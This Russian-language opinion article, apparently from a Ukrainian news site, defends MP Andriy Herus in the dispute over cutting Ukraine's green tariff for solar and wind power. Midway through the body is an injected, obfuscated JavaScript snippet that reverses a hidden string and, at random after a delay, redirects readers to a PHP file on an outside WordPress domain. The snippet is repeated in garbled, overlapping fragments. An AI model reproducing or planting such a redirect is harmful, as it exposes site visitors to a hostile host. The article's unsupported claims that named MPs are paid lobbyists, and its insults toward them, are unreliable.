В то время как рядовые украинцы, глядя канал «Украина», принадлежащий олигарху Ринату Ахметову, верят на слово неистовой критике в адрес Андрея Геруса, главы парламентского комитета по вопросам энергетики и ЖКХ, за кулисами этого процесса кипят совершенно другие страсти. И страсти эти называются – битва за миллионы. Если по простому, то Герус упрямо не хочет, чтобы получатели зеленого тарифа – читай владельцы солнечных и ветроэлектростанций – грабили государственную казну. В то же время те, кто продвигает соответствующие законы и нападает на Геруса, рассчитывают на немалые суммы из государственного бюджета и вознаграждения от компаний, интересы которых они продвигают.

В декабре 2019 года депутат от «Слуги народа» Людмила Буймистер заявила, что Энергетический комитет Верховной Рады, который возглавляет Андрей Герус, провалил компромиссный законопроект о добровольном снижении зеленого тарифа №2543, который поддерживают иностранные инвесторы и представители дипломатического корпуса. Суть законопроекта сводилась к тому, что будущие строители новых солнечных и ветроэлектростанций получат гарантии неизменности цены на свою электроэнергию, но согласятся при этом на определенное ее снижение, чтобы государству было не так накладно им платить. Ведь тариф на этот вид электроэнергии в Украине один из самых высоких в Европе (при нашей-то бедности) – 16 евроцентов или 4,38 грн по нынешнему курсу. В то время как в богатой Германии государство покупает у частников такую электроэнергию по 10-12 евроцентов.

«Какой сигнал услышали сегодня в Осло, Берлине или Вене те, кто инвестировал или присматривался к Украине? – продолжила разоряться депутат Буймистер. – Мне кажется, что кто-то хочет похоронить отрасль возобновляемой энергетики и импортировать электроэнергию и уголь из известных стран. Так будет легче, но недолго».

Но Геруса – даром, что он некоторым напоминает тюфяка – провести не просто. Поэтому и второй вариант этого закона он на днях завернул, отправив на доработку. Тут к делу подключили известного политического альфонса Ляшко, который начал разоряться на всех доступных площадках, но и здесь Герус оказался тверд, как скала. Потому что, в отличие от миллионов рядовых наивных украинцев, хорошо знает, чьи интересы и за какие деньги отстаивают главный радикал и молодая, да резвая депутат Буймистер. Ляшко – ни для кого уже не секрет, работает на одного из крупнейших владельцев ветроэлектростанций в Украине Рината Ахметова. А Буймистер училась в Лондонской бизнес-школе и была членом наблюдательного совета ряда европейских компаний – из чего вполне логично следует, что с упомянутыми ею инвесторами из Осло, Берлина и Вены, у нее тесные дружеские связи, которые при этом неплохо оплачиваются.

Между тем проблема зеленого тарифа для Украины давно назрела, о чем эксперты энергетического рынка заговорили еще в начале 2019 года.

Зеленый тариф: от компенсации – к сверхприбылям

Так называемая зеленая энергетика еще относительно недавно считалась дорогостоящей и невыгодной, и оставалась делом экологических энтузиастов. Сегодня же технологическое развитие сделало возобновляемые источники одной из самых привлекательных целей для инвестиций. Украина и мир переживают настоящий бум проектов «чистых» электростанций. И, очевидно, этот бум не собирается угасать. Свидетельство тому – проект строительства ветровой электростанции стоимостью свыше 400 миллионов долларов на Сиваше, который согласовал пятый президент Украины Петр Порошенко на Всемирном экономическом форуме в Давосе, планы построения огромной солнечной электростанции в чернобыльской Зоне отчуждения и десятки и сотни других проектов.

Значительный рост сектора зеленой энергетики обусловлен так называемым зеленым тарифом, который согласно украинским законам и международным обязательствам исчисляется в евро, а не в национальной валюте, и составлял еще вчера 0,18 евро за один киловатт (с 1 января понизился до 0,16 евро). Зеленый тариф значительно превышает тарифы закупки государством электроэнергии с атомных и тепловых электростанций, и изначально был призван компенсировать высокую себестоимость солнечных панелей и ветровых электростанций.

Такая практика общепринята во всем мире, и за годы своего применения она стимулировала феноменальный рост использования возобновляемых источников энергии. Вместе с тем, прогресс в области породил серьезную проблему, представляющую угрозу и для Украины. Дело в том, что развитие новых технологий производства солнечных панелей и выход на этот рынок Китая с его феноменальными производственными возможностями в разы удешевили себестоимость солнечной энергии. Если в 2009-м стоимость 1 ватта мощности солнечной батареи составляла 3 доллара, то сегодня — 30 центов. То есть в 10 раз меньше, и удешевление продолжится и в дальнейшем. При этом размер зеленого тарифа практически не снижался. Как следствие, из стимулирующего фактора зеленый тариф стал источником сверхдоходов.

$mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrye-pretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrye-zarubezhnye-investoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory-300×173.jpg” alt=”” width=”275″ height=”159″ /> Добрые-предобрые зарубежные инвесторы

Хорошим примером ложного понимания реалий зеленого тарифа стала Испания, которая в середине нулевых заложила высокий зеленый тариф, а через несколько лет удешевление солнечных панелей позволило частным инвесторам построить большое количество станций, и в 2014 правительству Испании пришлось выплатить из бюджета почти 11 млрд долларов дотаций на солнечную энергетику. Отсутствие своевременного вмешательства привело к тому, что треть общих затрат на оплату энергии в стране ушла в карманы владельцев зеленых электростанций, которые производили лишь около 5% общего объема электроэнергии.

Хотя Украина взялась за активное развитие энергетики возобновляемых источников сравнительно недавно, разрыв в ставке зеленого тарифа и реальной стоимости производства энергии уже довольно сильно проявляется. По факту, себестоимость 1 киловатт-часа электричества с солнечной станции составляет около 3 евроцента, в то время как наше государство покупает его за 18 (теперь 16). Шестикратное превышение тарифом себестоимости – теперь не столько компенсация затрат на производство солнечной электростанции, сколько источник многократной прибыли. Что, наряду с долговременными государственными гарантиями в валюте и привлекает инвесторов как мух.

Конкуренция и децентрализация – вот наш путь

Конечно, наше государство не может просто так, «от щедрой души», выплачивать огромные суммы. Именно поэтому на 2019 год была запланирована реформа рынка возобновляемой энергетики. Соответствующий законопроект тогда даже прошел первое чтение в парламенте.

– Мы не можем не идти в ногу с развитием технологий, – убеждена эксперт Украинской ассоциации возобновляемой энергетики Елены Колтик. – Именно поэтому было запланировано снижение тарифа для солнечной энергетики на 25%, а ветровой на 10%.

На первый взгляд, снижение тарифа на четверть, когда себестоимость солнечных панелей снизилась на порядок, кажется абсолютно неэффективным. Но, стоит понимать, что зеленый тариф – это долгосрочная гарантия государства на возмещение стоимости установки станции. Обычно солнечные станции в Украине окупаются от 7 до 15 лет и больше. Поэтому пока не будут выполнены государственные обязательства перед инвесторами, установившими свои станции в период с середины нулевых, полная отмена зеленого тарифа была бы «кидаловом» со стороны государства.

Сейчас в Украине нет четко определенного лимита на максимальную мощность солнечных и ветровых электростанций, что тоже проблема. Как отмечает Святослав Павлюк, исполнительный директор ассоциации «Энергоэффективные города Украины»: «Все крупные проекты на сотни мегаватт, куда заходят иностранные инвестиции, обусловлены ситуацией чрезмерной окупаемости. Фактически, мы, вместо того, чтобы поддерживать мелкую распределенную генерацию на уровне домохозяйств, поддерживаем сотни мегаваттного класса, которые потом будет сложно компенсировать».

Кроме проблемы компенсации, также не стоит забывать, что распределенные малые ветровые и солнечные электростанции более эффективны, чем большие, ведь погодные факторы, перед которыми особенно уязвимы зеленые электростанции, не одинаковы в разных местностях.

Зеленая энергетика не спасет Украину

Несмотря на довольно значительные успехи за последние годы, в украинской энергетике есть проблемы, которые сейчас зеленая энергетика решить не в силах. Фактически половину всей энергии в Украине генерируют атомные электростанции. И ресурс реакторов, построенных еще в СССР, близок к концу. Фактически, до середины 2020-х будет необходимо или построить новые / восстановить ресурс старых реакторов, или чем-то заместить эти 47% всей украинской энергии. А такие проекты стоят миллиарды долларов.

– Наша атомная отрасль поставляет энергию по очень низкому тарифу, – рассказывает Святослав Павлюк.- Фактически, за счет «атомки» мы дотируем остальные энергетики (в том числе и зеленую), и не откладываем средства на обновление реакторов, а на строительство новых не откладываем и вовсе. Сейчас стоимость строительства одного атомного энергоблока оценивается в 4-5 млрд долларов, а у нас их сейчас 15. Поэтому к 2030 году мы можем иметь ситуацию, когда 50% украинской энергетики просто просядет.

С одной стороны, снижение зеленого тарифа, а по факту отмена дотационной политики по отношению ко вполне конкурентоспособной на сегодня возобновляемой энергетике, позволит нашему государству направить дополнительные ресурсы на решение проблем других отраслей. С другой, масштаб финансовых и ресурсных потребностей зеленой и атомной энергетики очень разный, и поэтому вряд ли эти отрасли стали бы конкурентами в сфере инвестиций. Ведь вкладывать миллионы и даже десятки миллионов в сравнительно небольшую солнечную электростанцию – это одно, а миллиарды в строительство гигантского ядерного реактора – совсем другое.

Таким образом, когда Герус отправляет на доработку законопроект по компромиссному снижению зеленого тарифа, он просто добивается, чтобы западные инвесторы, которые руками депутатов вроде Людмилы Буймистер продвигают этот закон, еще больше умерили свои аппетиты. Потому что инвестировать, чтобы получать стабильную гарантированную прибыль – это одно, а обдирать Украину как липку – совсем другое.